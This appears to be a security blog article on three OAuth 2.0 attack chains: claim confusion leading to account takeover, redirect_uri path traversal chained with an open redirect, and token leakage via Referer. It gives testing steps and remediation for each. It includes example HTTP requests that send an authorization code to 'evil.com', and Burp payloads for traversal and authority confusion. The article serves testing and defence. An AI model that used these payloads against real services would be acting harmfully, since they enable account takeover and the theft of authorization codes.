OAuth 2.0 Attack Chains: iss+sub Confusion, redirect_uri Path Traversal, and Token Leakage via Referer
OAuth 2.0 and OpenID Connect (OIDC) are so common now that they fade into the background. “Sign in with Google,” enterprise SSO, partner integrations, mobile apps requesting API access, underneath, it’s almost always OAuth. That ubiquity has a side effect: OAuth bugs keep appearing in real production systems, even in mature organizations, because teams often treat OAuth as a solved plumbing problem rather than a security boundary.
This article is not about the usual checklist items (missing state, obvious open redirects, or trivial misconfigurations). Instead, it focuses on three repeatable, still-profitable attack chains seen in 2026-era programs:
- Issuer–subject (
iss+sub) confusion across identity providers leading to account takeover redirect_uripath traversal that becomes serious when chained with an open redirect- Fragment-based token leakage via
Refererin flows that still expose tokens to the browser
Each chain breaks a different link in the OAuth trust model. Understanding where the trust breaks is what lets you both test effectively and remediate cleanly.
The trust model that makes OAuth attacks possible
OAuth/OIDC is a chain of trust:
- The authorization server / identity provider (IdP) asserts something about the user (and sometimes the session context).
- The client application accepts those assertions and maps them to an internal user record.
- The resulting session inherits the identity mapping choices the app made.
The vulnerabilities below happen when the application or IdP makes a subtle assumption like “this claim is unique,” “this redirect URI validation is close enough,” or “tokens in fragments don’t hit the server so they’re safe.” Those assumptions are exactly what attackers lean on.
Here is the standard authorization code flow for reference:

Every attack below targets a specific step in this flow. Keep that mental model while reading.
Attack 1: iss+ sub claim confusion across identity providers
OIDC defines a user as the combination of:
iss, the issuer (which IdP minted the token)sub, the subject (the user identifier within that issuer)
The crucial detail: sub is not globally unique. Two different IdPs can legitimately issue the same sub value for two different people. So if your system stores or compares only sub, you’ve already introduced the possibility of identity collision.
In real systems, this isn’t always as obvious as “we literally ignore iss.” It often shows up as:
- Using email as the lookup key across multiple IdPs
- Treating
emailas verified when it isn’t - Merging accounts automatically when emails match
- Trusting tenant-controlled claims in enterprise providers
The nOAuth pattern (Microsoft, 2023, confirmed $75k+ in bounties):
A high-impact version of this class is the “nOAuth” pattern: an IdP allows the attacker to control claims that the relying party mistakenly treats as authoritative identifiers.
One example highlighted in practice: Azure AD may allow users to control the email claim in an id_token without requiring verification in some configurations. If your application uses email as the primary identifier during OAuth callback handling, an attacker can:
- Create an Azure AD tenant they control
- Create a user whose
emailclaim is set to the victim’s email (e.g.,[email protected]) - Log in to the target app via Microsoft OAuth
- Get mapped to the victim’s account if the target app does
find_by_email(email)and trusts the claim
The vulnerable pattern looks like this (conceptually):
# Vulnerable idea: using email as identity key
user = db.find_by_email(id_token['email'])
A safer pattern is:
- Key users by (
iss,sub) - Store
emailas an attribute, but do not rely on it for identity unless you have strong verification guarantees - If you support account linking, do it through explicit user-driven linking steps (re-auth required)
# Correct idea: bind account to (iss, sub)
user = db.find_by_iss_sub(iss=id_token['iss'], sub=id_token['sub'])
The Google Workspace domain recycling variant
Even when sub is stable per account, organizations can introduce identity breakage through lifecycle events, especially around corporate domains.
A practical scenario described in recent research: when a Google Workspace domain changes ownership (acquisition, shutdown, domain sale), emails can get reused. Applications that rely on hd (hosted domain) + email as the identity anchor instead of immutable identifiers can end up linking a newly-created user to a previously-deleted employee’s account.
The core lesson is the same: email is not a durable global identity. It’s an attribute that can be reassigned.
How to test for this:
A clean testing approach:
- Enumerate supported IdPs: Google, Microsoft, GitHub, Okta, etc.
- Perform a normal login and decode the
id_token(Burp + base64 decode the JWT payload works fine). Noteiss,sub,email,email_verified. - Attempt to create collisions:
- Create accounts on different IdPs with the same email (if possible)
- Try to authenticate into an existing account created via another IdP
- Observe whether the app merges users or creates a fresh identity
- Specifically test whether the application:
- Keys on
email - Keys on
subalone - Properly keys on (
iss,sub) - Checks
email_verifiedbefore trustingemail
- Keys on
If you see cross-provider session merging based on email alone, or if a mutable claim drives account selection, you’re in takeover territory.
The Pre-Account Takeover (Pre-ATO) Vector
A highly common variant of identity confusion occurs when an application supports both traditional password logins and OAuth (e.g., "Sign in with Google"), but fails to isolate them.
- The attacker creates an account using traditional username/password credentials, supplying the victim's email address. (Many apps allow account creation before enforcing email verification).
- Later, the victim visits the site and clicks "Sign in with Google".
- The application sees the email from the Google
id_token, notices an existing account with that email, and silently links the Google SSO to the attacker's pre-created account. - The attacker maintains access via their password, effectively sharing the account with the victim and silently observing their data.
Fix: Never automatically link a verified OAuth identity to an unverified password-based account.
Attack 2: redirect_uri path traversal chained with an open redirector
OAuth authorization servers are supposed to validate redirect_uri strictly against pre-registered values. Many systems claim they do “exact match,” but in practice, implementations sometimes do:
- Prefix matching (validate starts with registered URI)
- Validate scheme + host + “path begins with
/oauth/callback” - Allow additional path segments after the registered callback
That’s where path traversal shows up.
The traversal trick
Suppose the registered callback is:
https://app.com/oauth/callback
A weak validator might accept:
https://app.com/oauth/callback/../page
The validator sees the allowed prefix and approves it. But the browser resolves it to:
https://app.com/page
Now the authorization response (with code=...) lands on a different endpoint than intended.
Why this becomes serious: chaining with an open redirect
On its own, landing on a different page under the same domain might be annoying but not catastrophic. The real impact comes when the new landing endpoint is (or contains) an open redirect.
Chain:
- Use
redirect_uritraversal to land on a redirector endpoint:.../oauth/callback/../page
GET /authorize?client_id=123&redirect_uri=https://app.com/oauth/callback/../logout?next=https://evil.com HTTP/1.1
Host: idp.com
- The
/pageendpoint has:/page?next=https://attacker.com→ 302 to attacker
HTTP/1.1 302 Found
Location: https://app.com/oauth/callback/../logout?next=https://evil.com&code=AUTH_CODE_123
- Now the authorization response includes:
code=AUTH_CODE
GET /logout?next=https://evil.com&code=AUTH_CODE_123 HTTP/1.1
Host: app.com
- The open redirect forwards the full URL (including
code) to the attacker-controlled domain.
HTTP/1.1 302 Found
Location: https://evil.com/?code=AUTH_CODE_123That’s code theft. Depending on the client’s token exchange protections (and whether PKCE is used correctly), it can be full account compromise.
Don’t miss the response_mode variants
Some authorization servers behave differently depending on response_mode:
query(common default)fragmentform_postweb_message
In real-world testing, it’s worth probing all supported response modes because validation can silently weaken in one mode compared to another.
Testing methodology (Burp-friendly)
In practice:
- Capture the authorization request
- Send to Repeater
- Mutate
redirect_uriwith traversal payloads:/oauth/callback/../- encoded forms (
%2F..%2F) - odd parsing edge cases (
;@attacker.comstyle authority confusion in poorly written parsers)
- Confirm where the IdP actually redirects the browser (final resolved location matters)
- If you can route the code to an endpoint that can bounce externally, you have a credible chain
Attack 3: Fragment-based token leakage via Referer
In implicit grant style flows, tokens often appear as URL fragments:
https://app.com/callback#access_token=TOKEN&token_type=bearer
It’s true that fragments are not sent to servers in HTTP requests. But that doesn’t make them safe, because:
- JavaScript can read fragments
- Pages almost always load third-party resources
- Fragments can leak through referrer behavior depending on policy and browser context
How leakage happens in real deployments
A typical callback page:
- Reads
window.location.hash - Extracts
access_token - Then loads:
- analytics scripts
- tag managers
- fonts/CDNs
- tracking pixels
- third-party JS
If the page’s referrer policy is permissive (or misconfigured), outbound requests may include a Referer header that contains more than it should. In the worst case, it can include the full URL, including the fragment token, ending up in logs or analytics pipelines of third parties.
Even when defaults have improved in modern browsers, production apps still override defaults or inherit legacy headers. And you can’t assume that every environment, embedded browser, mobile WebView, or downstream component behaves like the latest Chrome stable.
How to verify quickly
After a legitimate login:
- Open DevTools → Network
- Filter for third-party requests
- Inspect request headers and look for
Referer - If you ever see
#access_token=leaving the origin, it’s report-worthy immediately
Why this still matters in 2026
Implicit grant is discouraged, but it persists, especially in older SPAs, embedded flows, or systems that were never fully modernized. And sometimes, even if the “main” login is code+PKCE, there are secondary flows (partner widgets, legacy admin portals, older mobile endpoints) still using fragment delivery.
A practical methodology to find these issues (without getting lost)
If you want a repeatable workflow that works across bug bounties and internal assessments:
- Map the supported IdPs and flows
- Which providers? Which endpoints? Which response types?
- Instrument the flow
- Burp for request mutation
- JWT decoding for claims inspection
- Test identity mapping
- Does the app merge accounts?
- What claim is treated as canonical identity?
- Fuzz redirect_uri realistically
- traversal, encoding, mode differences
- confirm the browser’s final resolved destination
- Audit callback page behavior
- third-party requests
- referrer policy headers
- where tokens can appear (query, fragment, postMessage, logs)
This approach keeps you focused on chains rather than isolated bugs.
Concrete steps in Burp Suite:
# 1. Capture the full OAuth flow with Burp proxy active
# Turn on "Intercept" before clicking "Log in with Google"
# 2. Identify the authorization request — looks like:
GET /oauth/authorize?
client_id=APP_CLIENT_ID&
redirect_uri=https://app.com/oauth/callback&
response_type=code&
scope=openid profile email&
state=RANDOM_STATE
Host: accounts.google.com
# 3. Send to Repeater. Begin modifying redirect_uri:
redirect_uri=https://app.com/oauth/callback/../ # trailing traversal
redirect_uri=https://app.com/oauth/callback%2F..%2F # encoded slash
redirect_uri=https://app.com/oauth/callback;@attacker.com # authority confusion
redirect_uri=https://app.com%2Foauth%2Fcallback # encoded path
# 4. Change response_mode and re-test each
response_mode=fragment
response_mode=web_message
# 5. For iss+sub testing — create a second account on a different supported IdP
# using the exact email of a target account, then attempt OAuth login.
# Watch whether the server creates a new account or merges with the existing one.
# 6. For Referer leakage — after login, go to DevTools → Network
# Filter by "3rd party"
# Check Request Headers → Referer for each outbound request
# If Referer contains #access_token → document and reportRemediation
Fix iss + sub confusion properly
- Store the
(iss, sub)tuple as the primary identity key - Treat
emailas an attribute, not an identity anchor - Require explicit, authenticated account-linking flows (re-auth required)
- Validate claims according to provider specifics; don’t assume every IdP treats
emailthe same way - Use
email_verifiedwhere meaningful, but remember: not every ecosystem enforces it consistently
Enforce strict redirect URI matching
- Use exact string matching against registered redirect URIs
- Avoid prefix rules and pattern matching
- Reject wildcards at the authorization server level
- Ensure the redirect URI used in the token exchange matches the one used in the authorization request
- Align with modern best practice guidance (OAuth security BCP) and treat redirect URI handling as a high-risk parser problem
Eliminate fragment token exposure
- Migrate away from implicit grant
- Prefer authorization code flow with PKCE
- On callback pages, set strict headers:
Referrer-Policy: no-referrer- Tight CSP (and minimize third-party scripts on auth endpoints)
- Audit third-party requests on callback routes specifically; those pages are not “normal pages” and shouldn’t behave like them
Closing thoughts
What makes these three chains persistent isn’t that teams don’t know OAuth. It’s that OAuth security depends on a handful of identity and parsing decisions that are easy to get “mostly right”, and “mostly right” is exactly where attackers thrive.
If you remember just one thing: OAuth vulnerabilities are rarely single-parameter bugs. They’re almost always trust mistakes that become critical when chained with the realities of modern web apps, multiple IdPs, messy redirects, legacy flows, and third-party scripts everywhere.
Treat OAuth endpoints like you treat payment flows: constrained inputs, strict validation, explicit linking, minimal dependencies, and no “helpful” shortcuts. That’s how you stop these attack chains from being the gift that keeps on giving in 2026.
References
- nOAuth: Microsoft OAuth Misconfiguration Leading to Account Takeover , Descope, 2023
- Millions at Risk Due to Google's OAuth Flaw , Truffle Security, 2025
- OAuth 2.0 Redirect URI Validation Falls Short, Literally , ACM CCS 2023
- Stealing OAuth Access Tokens via an Open Redirect , PortSwigger Web Security Academy
- Leaking OAuth Tokens via Referrer Policy Override , Voorivex Team, 2025
- Common OAuth Vulnerabilities , Doyensec, January 2025
- OAuth 2.0: Six Ways the Authorization Flow Breaks , Kayssel Newsletter Issue 43, 2026
- RFC 9700: OAuth 2.0 Security Best Current Practice, January 2025
- HackTricks: OAuth to Account Takeover